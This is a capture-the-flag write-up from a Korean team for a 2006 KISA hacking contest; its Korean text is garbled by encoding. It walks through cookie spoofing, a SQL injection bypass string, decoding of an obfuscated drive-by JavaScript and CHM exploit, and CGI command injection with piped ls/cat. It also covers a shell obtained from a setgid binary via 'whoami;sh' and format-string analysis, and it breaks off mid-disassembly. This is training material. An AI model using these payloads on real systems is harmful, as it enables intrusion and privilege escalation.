+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
                                 KISA Á¦3ȸ ÇØÅ·/¹æ¾î´ëȸ ¿¹Àü¹®Á¦ Ç®ÀÌ
                                           5Zone Team Report
                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-



¤· ´ëȸÁøÇà      : 2006. 5.16(È­) ~ 2006. 5.17(¼ö)
¤· ÀÛ ¼º ÀÏ      : 2006. 5.17(¼ö)
¤· ÀÛ ¼º ÀÚ      : °­ºÀ±¸(xCuter)
¤· ÆÀÂü°¡ÀÚ      : ÃÖÁø¿í(usapmuzae), ¹Úº´ÀÍ(pbi12), °­ºÀ±¸(xCuter)
¤· À¥ Ãë¾àÁ¡     : 1 ~ 4¹ø (4¹®Á¦)
¤· ½Ã½ºÅÛ Ãë¾àÁ¡ : 5 ~ 7¹ø (3¹®Á¦)


1. ¹®Á¦ : Web ÀÎÁõ½Ã ¹ß»ýÇÏ´Â Ãë¾àÁ¡ÀÓ.
   Ç®ÀÌ : SQL Injection °ø°ÝÀ» ½ÃµµÇÏ¿´À¸³ª guest °èÁ¤À¸·Î¸¸ ·Î±×ÀÎÀÌ µÊ.
          SQL InjectionÃë¾àÁ¡À¸·Î ´õ ´Þ±Å ¸ÔÀ¸¸é µÉ µí ½Í±âµµ ÇÏ¿´À¸³ª http packetÀ» ½º´ÏÇÎÇÑ °á°ú guest·Î ·Î±×ÀÎ µÈ ÈÄ¿£
          ´ÙÀ½°ú °°ÀÌ Äí۰ªÀÌ ¼ÂÆÃµÈ °ÍÀ» º¼ ¼ö ÀÖ¾ú´Ù.

          " Cookie: User_ID: ·Î±×ÀÎ µÈ ID "

          µû¶ó¼­ ·Î±×ÀÎ µÈ ID¸¦ admin À¸·Î ¹Ù²Ù´Â ÄíŰ ½ºÇªÇÎ ±â¹ýÀ» ÅëÇØ ¹®Á¦¸¦ ÇØ°áÇÒ ¼ö ÀÖ¾ú´Ù.

          " Cookie: User_ID: admin "

          À§¿Í°°ÀÌ Äí۸¦ ¼ÂÆÃÇÏ¿© ¼­¹ö·Î º¸³»°Ô°Ô µÇ¸é adminÀ¸·Î ·Î±×ÀÎ ÇÑ °Í°ú °°Àº ±ÇÇÑÀ» ȹµæÇÏ°Ô µÈ ¼ÀÀÌ°í »Ñ·ÁÁø Á¤º¸ Áß °ü¸®ÀÚ ºñºô¹øÈ£¸¦ ȹµæ
          ºñ¹Ð¹øÈ£ : U can fly


2. ¹®Á¦ : °ü¸®ÀÚ´Â cookie°ªÀ» ÀÌ¿ëÇÑ ÀÎÁõÀÇ Ãë¾àÁ¡¿¡ ÇêÁ¡À» ¹ß°ßÇϰí À̸¦ °³¼±ÇÏ¿´´Ù.
          ±×·¯³ª À¥ ·Î±×ÀÎ ºÎºÐÀÇ Ãë¾àÁ¡Àº °£ÆÄÇÏÁö ¸øÇß´Ù.
          À̸¦ ÀÌ¿ë, °ü¸®ÀÚ ÆäÀÌÁö¸¦ Á¶È¸ÇÏ¿© ´ÙÀ½ ´Ü°è·Î ÁøÇàÇϱâ À§ÇÑ ÆÐ½º¿öµå¸¦ ȹµæÇ϶ó.
          URLÀº http://solve.hdcon.or.kr/Administrator/login.htmlÀÌ´Ù.
   Ç®ÀÌ : '¹®ÀÚ(Single Quote Mark)¸¦ ³Ö¾úÀ» ¶§ MySQL ¿¡¼­ ¿¡·¯°¡ ¹ß»ýÇÏ¿´´Ù. µû¶ó¼­ SQL Injection À̶ó´Â °ÍÀ» Áï½ÃÇϰí
          °ø°Ý¿¡ µé¾î°¬´Ù. ¼Ò½º È®ÀÎ °á°ú ID, PW¸¦ ÀԷ¹޴ input TAG¿¡¼­ maxlength=8·Î ±ÛÀÚ¼ö Á¦ÇÑÀ» µÎ¾ú±â¿¡ À̸¦ ÇØ°áÇϱâ À§ÇØ
          ¤¡. ³»ÄÄÇ»ÅÍ¿¡¼­ ÇØ´ç Æû°ú ¼Ò½º¸¦ ¶È°°ÀÌ ±¸¼ºÇ쵂 form TAGÀÇ actionÀ» ´ëȸ¼­¹öÀÇ login.php·Î(·Î±×ÀΠó¸®) Çϰí maxlength
              Á¦ÇÑÀ» Ç®¾î¼­ °ø°ÝÇÏ´Â ¹æ¹ý  
          ¤¤. ÇÁ¶ô½Ã ÇÁ·Î±×·¥À» ÀÌ¿ëÇÏ¿© ÆÐŶÀ» ¼­¹ö·Î Àü¼ÛÇÒ ‹š ID, PW¸¦ Á¶ÀÛ
          À§ ¤¡,¤¤ °°Àº ¹æ¹ýÀ» ÅëÇØ ´ÙÀ½°ú °°ÀÌ °ø°ÝÀ» ½Ãµµ ÇÏ¿´´Ù.
          
          °ø°Ý½Ãµµ : 8±ÛÀڷθ¸ ±¸¼ºÇØ¾ß ÇÏÁö¸¸ ÆÐ½º¿öµå¸¦ ¿ìȸÇϱâ À§ÇØ or¸¦ ³Ö°ÔµÇ¸é ¹®ÀÚ¿­ÀÌ ±æ¾îÁö´Â ¹®Á¦Á¡ÀÌ ÀÖ¾ú°í µû¶ó¼­
                     ÁÖ¼®À» »ç¿ëÇ쵂 MySQLÀ̱⠶§¹®¿¡ '--', '#' ¿Í °°Àº ÁÖ¼®Àº »ç¿ëÇÏÁö ¸øÇϸç '/*'À» »ç¿ëÇÏ¿´´Ù.
                     Áï 'SQL¹® ÃÖ´ë 6ÀÚ + ÁÖ¼® 2ÀÚ' ÇüÅ¿©¾ß Çß´Ù.
          Á¤´ä : '=''/*
          È®ÀÎµÈ ¾ÏÈ£ : pw : vkdlxld!!!  (ÆÄÀÌÆÃ!!!) 

3. ¹®Á¦ : ÃÖ±Ù ¹®Á¦°¡ µÈ Áß±¹ ¹ß ÇØÅ·°ú °ü·ÃÇØ »çÀÌÆ®ÀÇ jsÆÄÀÏÀÌ ÀÚ²Ù º¯Á¶µÇ°í ÀÖ´Â µí ÇÏ´Ù. À̸¦ ºÐ¼®ÇÏ¿© °ø°ÝÀÚ°¡ ³²°Ü³õÀº Á¤º¸¸¦
          È®ÀÎÇÏ¿© ´ÙÀ½ ´Ü°è¸¦ À§ÇÑ ÆÐ½º¿öµå¸¦ ȹµæÇ϶ó. Àǽɽº·¯¿î ÆÄÀÏÀº http://solve.hdcon.or.kr/modified_js/browser.js ÀÌ´Ù.
   Ç®ÀÌ : browser.js ÆÄÀÏ¿¡ º¸¸é ´ÙÀ½ÀÇ Äڵ忡¼­ ƯÁ¤ÇÑ htm ÆÄÀÏÀÌ ÀÐÇôÁö°í ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù.

          document.write('<iframe height=0 width=0 src="http://solve.hdcon.or.kr/chinaatt/kor.htm"></iframe>');

          ÀÌ ÆÄÀÏÀ» ¿­¾îº¸¸é ´ÙÀ½°ú °°Àº ¼Ò½º¸¦ È®ÀÎÇÒ ¼ö ÀÖ´Ù.
          ===============================================================================================================================
          <script>
          <!--
          document.write(unescape("%3CSCRIPT%20LANGUAGE%3D%22JavaScript%22%3E%0D%0A%3C%21--%0D
          %0Avar%20HtmlStrings%3D%5B%22%3DPCKFDU%21Xjeui%3E1%21Ifjhiu%3E1%21tuzmf%3E%23ejtqmbz
          %3Bopof%3C%23%21uzqf%3E%23ufyu0y.tdsj%22%2C%22qumfu%23%21ebub%3E%23nl%3BANTJUTupsf
          %3Bniunm%3Bd%3B%5D/niu%01iuuq%3B00329/4/319/294%22%2C%220rrr0ifmq/uyu%3B%3B0%2634%2
          63F%2679%2685n%23%02%3E%3D0PCKFDU%02%3E%0E%0B%22%5D%3B%0D%0Afunction%20psw%2
          8st%29%7B%0D%0A%20%20var%20varS%3B%0D%0A%20%20varS%3D%22%22%3B%0D%0A%20%20v
          ar%20i%3B%0D%0A%20%20for%28var%20a%3D0%3Ba%3Cst.length%3Ba++%29%7B%0D%0A%20%20
          %20%20i%20%3D%20st.charCodeAt%28a%29%3B%20%0D%0A%20%20%20%20if%20%28i%3D%3D1%
          29%20%0D%0A%20%20%20%20%20%20varS%3DvarS+String.fromCharCode%28%27%22%27.charCode
          At%28%29-1%29%3B%0D%0A%20%20%20%20else%20if%20%28i%3D%3D2%29%20%7B%0D%0A%20
          %20%20%20%20%20a++%3B%0D%0A%20%20%20%20%20%20varS+%3DString.fromCharCode%28st.ch
          arCodeAt%28a%29%29%3B%0D%0A%20%20%20%20%20%20%7D%0D%0A%20%20%20%20else%0D%
          0A%20%20%20%20%20%20varS+%3DString.fromCharCode%28i-1%29%3B%0D%0A%20%20%7D%0D%0A
          %20%20return%20varS%3B%0D%0A%7D%3B%0D%0Avar%20num%3D3%3B%0D%0Afunction%20S%28%
          29%7B%0D%0Afor%28i%3D0%3Bi%3Cnum%3Bi++%29%0D%0A%20%20document.write%28psw%28HtmlS
          trings%5Bi%5D%29%29%3B%7D%0D%0AS%28%29%3B%0D%0A//%20--%3E%0D%0A%3C/SCRIPT%3E%0
          D%0A%0D%0A"));
          //-->
          </script>
          ===============================================================================================================================

          ÀÌ ÆÄÀÏÀ» ´Ù½Ã decoding Çϸé..

          ===============================================================================================================================
          <SCRIPT LANGUAGE="JavaScript">
          <!--var HtmlStrings=["=PCKFDU!Xjeui>1!Ifjhiu>1!tuzmf>#ejtqmbz;opof<#!uzqf>#ufyu0y.tdsj","qumfu#!ebub>#nl;ANTJUTupsf;niunm;d;]/niuiuuq;00tpmwf/","lotq/psh0dijobbuu0ifmq/uyu;;0&35&3F&79&85n#>=0PCKFDU>          "];function psw(st){ 	var varS;	varS="";	var i;	for(var a=0;a<st.length;a++){		i = st.charCodeAt(a); 		if (i==1)			varS=varS+String.fromCharCode('"'.charCodeAt()-1);		else if (i==2) {			a++;		            varS+=String.fromCharCode(st.charCodeAt(a));		}		else			varS+=String.fromCharCode(i-1);	}	return varS;};var num=3;function S(){for(i=0;i<num;i++)	document.write(psw(HtmlStrings[i]));}S();// --></SCRIPT>
          ===============================================================================================================================

          encoding µÈ ¹®ÀÚ¿­ÀÌ º¸ÀÌ´Â ÀÚ¹Ù½ºÅ©¸³Æ® ÆäÀÌÁö ¿´´Ù.
          º¸±âÁÁ°Ô ´Ù½Ã Á¤¸®ÇÏÀÚ¸é ´ÙÀ½°ú °°´Ù.

          ===============================================================================================================================
&
          var HtmlStrings=["=PCKFDU!Xjeui>1!Ifjhiu>1!tuzmf>#ejtqmbz;opof<#!uzqf>#ufyu0y.tdsj","qumfu#!ebub>#nl;ANTJUTupsf;niunm;d;]/niuiuuq;00tpmwf/","lotq/psh0dijobbuu0ifmq/uyu;;0&35&3F&79&85n#>=0PCKFDU>"];
          function psw(st)
          {
             var varS;
             varS="";
             var i;
	   			
             for(var a=0;a<st.length;a++)
             {
                i = st.charCodeAt(a);
                if (i==1)	
                   varS=varS+String.fromCharCode('"'.charCodeAt()-1);
                else if (i==2)
                {
                   a++;
                   varS+=String.fromCharCode(st.charCodeAt(a));
                }
                else
                   varS+=String.fromCharCode(i-1);
             }
             return varS;
          }

          function S()
          {
             var num=HtmlStrings.length;
             for(i=0;i<num;i++)
                document.write(psw(HtmlStrings[i]));
          }

          S();
          </SCRIPT>
          ===============================================================================================================================

          HtmlStrings º¯¼öÀÇ ¹®ÀÚ¿­À» decoding ÇÏ¸é ´ÙÀ½°ú °°Àº ¹®ÀÚ¿­ÀÌ µÈ´Ù.

          <OBJECT Width=0 Height=0 style="display:none;" type="text/x-scriptlet" data="mk:@MSITStore:mhtml:c:\.mht!http://solve.knsp.org/chinaatt/help.txt::/%24%2E%68%74m"></OBJECT>

          ±×·¯³ª solve.knsp.org URLÀº Á×¾îÀÖ¾ú°í, µû¶ó¼­ solve.hdcon.or.kr ·Î URLÀ» ¹Ù²Ù¾îº¸´Ï ITFS Æ÷¸ËÀÇ help ÆÄÀÏ·Î º¸ÀÌ´Â Äڵ尡 º¸¿´´Ù.
          ÀÌ Äڵ带 help.chm À¸·Î ÀúÀåÇÏ¿© ÀÐÀ¸´Ï Online Help ÇÁ·Î±×·¥ÀÌ ÀÛµ¿ µÇ°í 'Á¦3È¸ÇØÅ·¹æ¾î´ëȸ $.htm'À̶ó´Â ¸ñÂ÷¸¸ ´Þ¶ûÇϳª º¸¿´´Ù.
          ÀÌ ¶§ ÇÁ·Î¼¼½º¸¦ È®Àΰá°ú sending.exe °¡ ½ÇÇàµÊÀÌ È®ÀεǾú°í sending.exe¸¦ ÀÚ¼¼È÷ ºÐ¼®Çϱâ Àü¿¡ ½ÇÇàÆÄÀÏ¿¡ Æ÷ÇÔµÈ text¹®ÀÚ¿­À»
          Á¶»çÇØ º¸´Ï ´ÙÀ½°ú °°Àº ¹®ÀÚ¿­ÀÌ Á¸ÀçÇÏ¿´´Ù.

          nslookup level4_password_is_ch!neseh4cker www.knsp.org

          nslookupÀ» ½ÇÇàÇϸç query ·Î level4ÀÇ password°¡ º¸¿´´Ù.
          Á¤´ä : ch!neseh4cker


4. ¹®Á¦ : ´Ù¿î·Îµå ÆäÀÌÁö°¡ Àִµ¥ ÀÌ ÆäÀÌÁöÀÇ Ãë¾àÁ¡À» ÀÌ¿ëÇØ ½Ã½ºÅÛ ÀÚ¿ø¿¡ Á¢±ÙÇÒ ¼ö ÀÖ´Â Ãë¾àÁ¡ÀÌ Á¸ÀçÇÑ´Ù. 
   Ç®ÀÌ : ´Ù¿î¹Þ´Â HTML ÆäÀÌÁö¸¦ º¸´Ï /cgi-bin/download.cgi?f_name=A_Project.ppt ÀÌ·±½ÄÀ¸·Î ´Ù¿îÀ» ¹Þ´Â´Ù. ´Ù¿î·Îµå Ãë¾àÁ¡ Àΰ¡º¸´Ù ÇØ¼­
          A_Project.ppt ÆÄÀϸíÀ» ¹Ù²ã¼­ ½Ã½ºÅÛ ÆÄÀÏÀ» ´Ù¿î·Îµå ÇÏ·Á°í ÇÏ¿´À¸³ª Cookie üũ¸¦ ÇÏ´ÂÁö °ü¸®ÀÚ¸¸ ´Ù¿î·Îµå °¡´ÉÇÏ´Ù´Â ¸Þ½ÃÁö¸¸ ³ª¿Ô´Ù
          Äí۰ª ÃßÃøµµ ÇØ ºÃÀ¸³ª ¹º°¡ ´Ù¸¥°Å¶ó »ý°¢Çϰí f_name º¯¼ö°¡ ½É»óÄ¡ ¾Ê¾Æ Ȥ½Ã ¸í·É½ÇÇàÀÌ ¾Æ´Ñ°¡ ÇØ¼­ ÀǽÉÇß°í, ±×°ÍÀÌ ÀûÁßÇßÀ½.

          GET /cgi-bin/download.cgi?f_name=AAAA|ls| HTTP/1.0
          -> cgi-lib1.pl
             data
             download.cgi

          GET /cgi-bin/download.cgi?f_name=AAAA|ls%20-al%20data| HTTP/1.0
          -> .............. ._READ_ME.TXT

          GET /cgi-bin/download.cgi?f_name=AAAA|cat%20data/._READ_ME.TXT| HTTP/1.0
          -> http://solve.hdcon.or.kr/cgi-bin/data/._READ_ME.TXT

             HTTP/1.1 200 OK
             Date: Tue, 16 May 2006 04:28:01 GMT
             Server: Apache/1.3.35 (Unix) PHP/5.1.4
             Connection: close
             Content-Type: application/x-cgklyk

             ÃàÇÏÇÕ´Ï´Ù. À¥ °ü·Ã ¹®Á¦¸¦ ¸ðµÎ Åë°úÇϼ̽À´Ï´Ù.
             ÀÌÈÄÀÇ ¹®Á¦´Â SSHŬ¸®ÀÌ¾ðÆ® ÇÁ·Î±×·¥À» ÀÌ¿ëÇÏ¿© ·Î±×ÀÎÀ» ÇϽŠÈÄ ÁøÇàÇϽñ⠹ٶø´Ï´Ù.
             Á¢¼ÓID¿Í ÆÐ½º¿öµå´Â ¹®Á¦È®ÀÎ ÆäÀÌÁö¿¡¼­ È®ÀÎÇÏ½Ç ¼ö ÀÖ½À´Ï´Ù.
             ±×·³ ¼ö°íÇϽʽÿÀ.
             À̹ø ´Ü°èÀÇ ÆÐ½º¿öµå´Â "Are you ready?"ÀÔ´Ï´Ù.


5. ¹®Á¦ : ½Ã½ºÅÛ °ü¸®ÀÚ°¡ ¼­¹ö¸¦ üũÇϱâ À§ÇØ °£´ÜÇÑ ÇÁ·Î±×·¥À» ¸¸µé¾ú´Âµ¥ /sbin/pingÀ» Àý´ë°æ·Î¸¦ »ç¿ëÇÏ¿© ½ÇÇàÇϵµ·Ï ÇÏ¿´´Ù.
          ÇÏÁö¸¸ ¾î¶²À̰¡ Ãë¾àÁ¡À¸·Î °ü¸®ÀÚ¸¦ °ï¶õÇÏ°Ô ¸¸µé¾ú´Ù. À̸¦ ÀÌ¿ëÇÏ¿© ´ÙÀ½ ´Ü°è¸¦ À§ÇÑ ÆÐ½º¿öµå¸¦ ȹµæÇ϶ó.
          ¾Æ·¡ÀÇ °èÁ¤Àº 5~7¹ø ¹®Á¦¸¦ Ç®±â À§ÇØ solve.hdcon.or.kr¿¡ Á¢¼ÓÇϱâ À§ÇÑ ¾ÆÀ̵ð ¹× ÆÐ½º¿öµåÀÌ´Ù.
          ÇØ´ç ½Ã½ºÅÛ¿¡´Â ssh(Æ÷Æ® 8000)À¸·Î Á¢¼ÓÇÑ´Ù.
          ID : user02
          PW : 8102746045
   Ç®ÀÌ : ¤· ½Ã½ºÅÛ Á¤º¸
	  FreeBSD solve.hdcon.or.kr 5.4-RELEASE FreeBSD 5.4-RELEASE #0: Sun May  8 10:21:06 UTC 2005 root@harlow.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386

          ¤· °Ë»ö
             level5 °èÁ¤À» ȹµæÇϱâ À§ÇÑ setuid, setgid Áß level5°¡ owner or group ÀÎ °èÁ¤À» È®ÀÎÇß´Ù.
             $ find / -group level5 -exec ls -al {} \; 2>/dev/null
             -rwxr-sr-x  1 root  level5  5135 May 11 03:13 /usr/local/sbin/pong

          ¤· ºÐ¼®
             Dump of assembler code for function main:
             0x0804858c <main+0>:    push   %ebp				' 
             0x0804858d <main+1>:    mov    %esp,%ebp				' 
             0x0804858f <main+3>:    sub    $0xd8,%esp			' esp¸¦ 216byte ¸¸Å­ °¨¼Ò½ÃÄÑ °ø°£È®º¸
             0x08048595 <main+9>:    and    $0xfffffff0,%esp			' 
             0x08048598 <main+12>:   mov    $0x0,%eax				' 
             0x0804859d <main+17>:   add    $0xf,%eax				' 
             0x080485a0 <main+20>:   add    $0xf,%eax				' 
             0x080485a3 <main+23>:   shr    $0x4,%eax				' 
             0x080485a6 <main+26>:   shl    $0x4,%eax				' 
             0x080485a9 <main+29>:   sub    %eax,%esp				' 
             0x080485ab <main+31>:   cmpl   $0x1,0x8(%ebp)			' if ebp+8(argc)==1
             0x080485af <main+35>:   jle    0x80485e4 <main+88>			'    jmp main+88
             0x080485b1 <main+37>:   sub    $0x4,%esp				' 
             0x080485b4 <main+40>:   mov    0xc(%ebp),%eax			' argv[0] -> %eax
             0x080485b7 <main+43>:   add    $0x4,%eax				' argv[1] -> %eax
             0x080485ba <main+46>:   pushl  (%eax)				' argv[1] push
             0x080485bc <main+48>:   push   $0x804867c			' "/sbin/ping %s" push
             0x080485c1 <main+53>:   lea    0xffffff28(%ebp),%eax		' &ebp-216 -> %eax
             0x080485c7 <main+59>:   push   %eax				' buf[216] push
             0x080485c8 <main+60>:   call   0x804842c				' call sprintf()
             0x080485cd <main+65>:   add    $0x10,%esp			' 
             0x080485d0 <main+68>:   sub    $0xc,%esp				' 
             0x080485d3 <main+71>:   lea    0xffffff28(%ebp),%eax		' &ebp-216 -> %eax
             0x080485d9 <main+77>:   push   %eax				' buf[216] push
             0x080485da <main+78>:   call   0x804840c				' call system()         <- Ãë¾àÁ¡ ¹ß»ý
             0x080485df <main+83>:   add    $0x10,%esp			' 
             0x080485e2 <main+86>:   jmp    0x80485f9 <main+109>		' 
             0x080485e4 <main+88>:   sub    $0x8,%esp				' 
             0x080485e7 <main+91>:   mov    0xc(%ebp),%eax			' ebp+c(argv[0]) -> %eax
             0x080485ea <main+94>:   pushl  (%eax)				' argv[0] push
             0x080485ec <main+96>:   push   $0x804868c			' "usage : %s HOST_NAME(or HOST_IP)\n" push
             0x080485f1 <main+101>:  call   0x80483fc				' call printf()
             0x080485f6 <main+106>:  add    $0x10,%esp			' 
             0x080485f9 <main+109>:  leave  				' 
             0x080485fa <main+110>:  ret    				' 
             0x080485fb <main+111>:  nop    				' 

             ------------------------- ¼Ò½º·Î º¯È¯ -------------------------
             main(int argc, char *argv[])
             {
                char buf[216];
                if(argc==1)
                   printf("usage : %s HOST_NAME(or HOST_IP)\n", argv[0]);
                else
                {
                   sprintf(buf, "/sbin/ping %s", argv[1]);
                   system(buf);
                }
             }
             ---------------------------------------------------------------

             ÀÌ pong À̶ó´Â ÇÁ·Î±×·¥Àº 2°¡Áö Ãë¾àÁ¡ÀÌ Á¸ÀçÇÑ´Ù.
             ù¹øÂ°´Â Buffer Overflow Ãë¾àÁ¡À̰í,
             µÎ¹øÂ°´Â ÀýÀýÄ¡ ¸øÇÑ system() ÇÔ¼öÀÇ »ç¿ëÀÌ´Ù.
             ¿ì¸®ÆÀÀº ´ëȸ ÁøÇà»ó ½Ã°£ÀÌ Áß¿äÇϱ⠶§¹®¿¡ Á»´õ ½±°Ô ÇØ°á°¡´ÉÇÑ µÎ¹øÂ° ¹æ¹ýÀ» ÅÃÇß´Ù.

             system() ÇÔ¼ö µî ½Ã½ºÅÛ ¸í·ÉÀ» ½ÇÇàÇÒ ¼ö ÀÖ´Â ÇÔ¼ö´Â »ç¿ë½Ã °¢º°ÇÑ ÁÖÀǰ¡ ¿ä±¸µÈ´Ù. °ø°ÝÀÚ°¡ ¿øÇÏ´Â ¸í·ÉÀ» ½ÇÇàÇÒ ¼ö ÀÖ´Â
             °æ¿ì°¡ ¸¹±â ¶§¹®Àε¥ ÀÌ ¹®Á¦ÀÇ °æ¿ì ¾Æ±Ô¸ÕÆ®·Î Á÷Á¢ ¿øÇÏ´Â °ªÀ» ÀÔ·ÂÇÒ ¼ö ÀÖ¾ú±â ¶§¹®¿¡ ¹®Á¦°¡ µÈ´Ù.

             system("/sbin/ping localhost;id") <- »ç¿ëÀÚ°¡ ´ÙÀ½°ú °°ÀÌ ÇüÅ·ΠÀÔ·ÂÀ» ÃëÇßÀ» °æ¿ì setgid bit°¡ °É¸° ÀÌ pong À̶ó´Â
             ÇÁ·Î±×·¥ÀÌ ÇØ´ç gid±ÇÇÑÀ¸·Î id¸í·É±îÁö ½ÇÇàÇÏ°Ô µÈ´Ù. µû¶ó¼­ ';', '&&', '`', '|' ¿Í °°Àº ¹®ÀÚ¸¦ ÀÌ¿ëÇØ ½©À» ½ÇÇàÇÏ´Â ¹æ¹ýÀ¸·Î exploit ÇÔ


          ¤· Exploit
             whoami ´Â /sbin/ping ÇÁ·Î±×·¥ÀÇ ¸Å°³º¯¼ö·Î »ç¿ëµÇ¸ç, ';'¿¡ ÀÇÇØ ping ¼öÇà ÈÄ sh¸¦ ½ÇÇàÇÏ°Ô µÇ¹Ç·Î ½© ¶³¾îÁö°Ô µÇ´Â ¹æ¹ý ÀÌ¿ë

             $ /usr/local/sbin/pong "whoami;sh"
             ping: cannot resolve whoami: No address associated with name
             $ id
             uid=1003(user02) gid=1003(user02) egid=500(level5) groups=500(level5), 1003(user02)
             $ cat /etc/passwd|grep level5
             level5:*:500:500:User &:/export/home/level5:/sbin/nologin
             $ cd /export/home/level5
             $ ls
             LEVEL5_ANSWER
             $ cat *
             Congratulations!!

             Level5's password : table_tennis


6. ¹®Á¦ : »ç¿ëÀÚµéÀ» À§ÇÑ ¸Þ¼¼Áö¸¦ ³²±â´Â ÇÁ·Î±×·¥ÀÌ ÀÖ´Ù.
          ±×·¯³ª ÀÌ ÇÁ·Î±×·¥¿¡´Â ¾î¶² Ãë¾àÁ¡ÀÌ Á¸ÀçÇϴµ¥ À̸¦ ÀÌ¿ëÇÏ¿© ´ÙÀ½ ·¹º§ÀÇ ±ÇÇÑÀ» ȹµæÇϽÿÀ.
   Ç®ÀÌ : ¤· °Ë»ö
             $ find / -group level6 -exec ls -al {} \; 2>/dev/null
             -rwxr-sr-x  1 root  level6  5546 May 16 09:58 /usr/local/bin/savemsg

          ¤· ºÐ¼®
             BOF ½ÃµµÇÏ¿´À¸³ª ÀûÀýÇÑ Ã¼Å©°¡ ÀÌ·ç¾îÁ® ½ÇÆÐÇÏ¿´°í %x¸¦ ³Ö¾îº¸´Ï ½ºÅÃÀÇ Æ¯Á¤ÇÑ °ªÀ» Ãâ·ÂÇÏ¿© Format String Bug È®ÀÎ

             Dump of assembler code for function main:
             0x0804864c <main+0>:    push   %ebp
             0x0804864d <main+1>:    mov    %esp,%ebp
             0x0804864f <main+3>:    sub    $0x48,%esp
             0x08048652 <main+6>:    and    $0xfffffff0,%esp
             0x08048655 <main+9>:    mov    $0x0,%eax
             0x0804865a <main+14>:   add    $0xf,%eax
             0x0804865d <main+17>:   add    $0xf,%eax
             0x08048660 <main+20>:   shr    $0x4,%eax
             0x08048663 <main+23>:   shl    $0x4,%eax
             0x08048666 <main+26>:   sub    %eax,%esp
             0x08048668 <main+28>:   sub    $0x4,%esp
             0x0804866b <main+31>:   push   $0x34						' 0x34(52) push
             0x0804866d <main+33>:   push   $0x0						' 0x0 (0)  push
             0x0804866f <main+35>:   lea    0xffffffb8(%ebp),%eax				' ebp-72 -> %eax
             0x08048672 <main+38>:   push   %eax						' ebp-72=buf[52] push
             0x08048673 <main+39>:   call   0x8048454						' memset(buf, 0, 52);
             0x08048678 <main+44>:   add    $0x10,%esp
             0x0804867b <main+47>:   sub    $0xc,%esp
             0x0804867e <main+50>:   push   $0x80487a3					' "\nLevel 6\n\n"
             0x08048683 <main+55>:   call   0x8048434						' call printf()
             0x08048688 <main+60>:   add    $0x10,%esp
             0x0804868b <main+63>:   sub    $0xc,%esp
             0x0804868e <main+66>:   push   $0x80487ae					' "¸Þ¼¼Áö¸¦ ³²±â¼¼¿ä.\n"
             0x08048693 <main+71>:   call   0x8048434						' call printf()
             0x08048698 <main+76>:   add    $0x10,%esp
             0x0804869b <main+79>:   sub    $0x4,%esp
             0x0804869e <main+82>:   push   $0x32						' 0x32(50) push
             0x080486a0 <main+84>:   lea    0xffffffb8(%ebp),%eax				' ebp-72 -> %eax
             0x080486a3 <main+87>:   push   %eax						' buf[52] push
             0x080486a4 <main+88>:   push   $0x0						' 0x0 (0) push
             0x080486a6 <main+90>:   call   0x8048444						' call read(0, buf, 50);
             0x080486ab <main+95>:   add    $0x10,%esp
             0x080486ae <main+98>:   sub    $0xc,%esp
             0x080486b1 <main+101>:  push   $0x80487c4					' "´ÙÀ½ÀÇ ¸Þ¼¼Áö¸¦ ³²±â¼Ì½À´Ï´Ù.\n"
             0x080486b6 <main+106>:  call   0x8048434						' call printf()
             0x080486bb <main+111>:  add    $0x10,%esp
             0x080486be <main+114>:  sub    $0xc,%esp
             0x080486c1 <main+117>:  lea    0xffffffb8(%ebp),%eax				' ebp-72 -> %eax
             0x080486c4 <main+120>:  push   %eax						' buf[52] push
             0x080486c5 <main+121>:  call   0x80485c4 <print_msg>				' call print_msg(buf);
             0x080486ca <main+126>:  add    $0x10,%esp
             0x080486cd <main+129>:  sub    $0xc,%esp
             0x080486d0 <main+132>:  push   $0x80487e3					' "\nÀÌ¿ëÇØÁּż­ °¨»çÇÕ´Ï´Ù.\n\n"
             0x080486d5 <main+137>:  call   0x8048434						' call printf();
             0x080486da <main+142>:  add    $0x10,%esp
             0x080486dd <main+145>:  leave  
             0x080486de <main+146>:  ret    
             0x080486df <main+147>:  nop    

             Dump of assembler code for function print_msg:
             0x080485c4 <print_msg+0>:       push   %ebp
             0x080485c5 <print_msg+1>:       mov    %esp,%ebp
             0x080485c7 <print_msg+3>:       sub    $0x88,%esp
             0x080485cd <print_msg+9>:       movl   $0x1,0xfffffff4(%ebp)				' ebp-12  buf1[4]=1, dum[4], dum[4], ebp
             0x080485d4 <print_msg+16>:      movl   $0x2,0xffffffa4(%ebp)				' ebp-92  buf2[4]=2
             0x080485db <print_msg+23>:      movl   $0x3,0xffffffa0(%ebp)				' ebp-96  buf3[4]=3
             0x080485e2 <print_msg+30>:      movl   $0x4,0xffffff9c(%ebp)				' ebp-104 buf4[4]=4
             0x080485e9 <print_msg+37>:      movl   $0x5,0xffffff98(%ebp)				' ebp-108 buf5[4]=5
             0x080485f0 <print_msg+44>:      movl   $0x6,0xffffff94(%ebp)				' ebp-112 buf6[4]=6
             0x080485f7 <print_msg+51>:      movl   $0x7,0xffffff90(%ebp)				' ebp-116 buf7[4]=7
             0x080485fe <print_msg+58>:      movl   $0x8,0xffffff8c(%ebp)				' ebp-120 buf8[4]=8
             0x08048605 <print_msg+65>:      movl   $0x9,0xffffff88(%ebp)				' ebp-124 buf9[4]=9
             0x0804860c <print_msg+72>:      movl   $0xa,0xffffff84(%ebp)				' ebDp-126 buf10[4]=10
             0x08048613 <print_msg+79>:      sub    $0x4,%esp
             0x08048616 <print_msg+82>:      push   $0x34					' 0x34(52) push
             0x08048618 <print_msg+84>:      push   $0x0					' 0x0 (0)  push
             0x0804861a <print_msg+86>:      lea    0xffffffa8(%ebp),%eax				' ebp-88 -> %eax
             0x0804861d <print_msg+89>:      push   %eax					' buf[52] push
             0x0804861e <print_msg+90>:      call   0x8048454					' call memset(buf[52], 0, 52);
             0x08048623 <print_msg+95>:      add    $0x10,%esp
             0x08048626 <print_msg+98>:      sub    $0x8,%esp
             0x08048629 <print_msg+101>:     pushl  0x8(%ebp)					' argc push
             0x0804862c <print_msg+104>:     lea    0xffffffa8(%ebp),%eax				' ebp-88 -> %eax
             0x0804862f <print_msg+107>:     push   %eax					' buf[52] push
             0x08048630 <print_msg+108>:     call   0x8048424					' strcpy(buf, 0);
             0x08048635 <print_msg+113>:     add    $0x10,%esp
             0x08048638 <print_msg+116>:     sub    $0xc,%esp
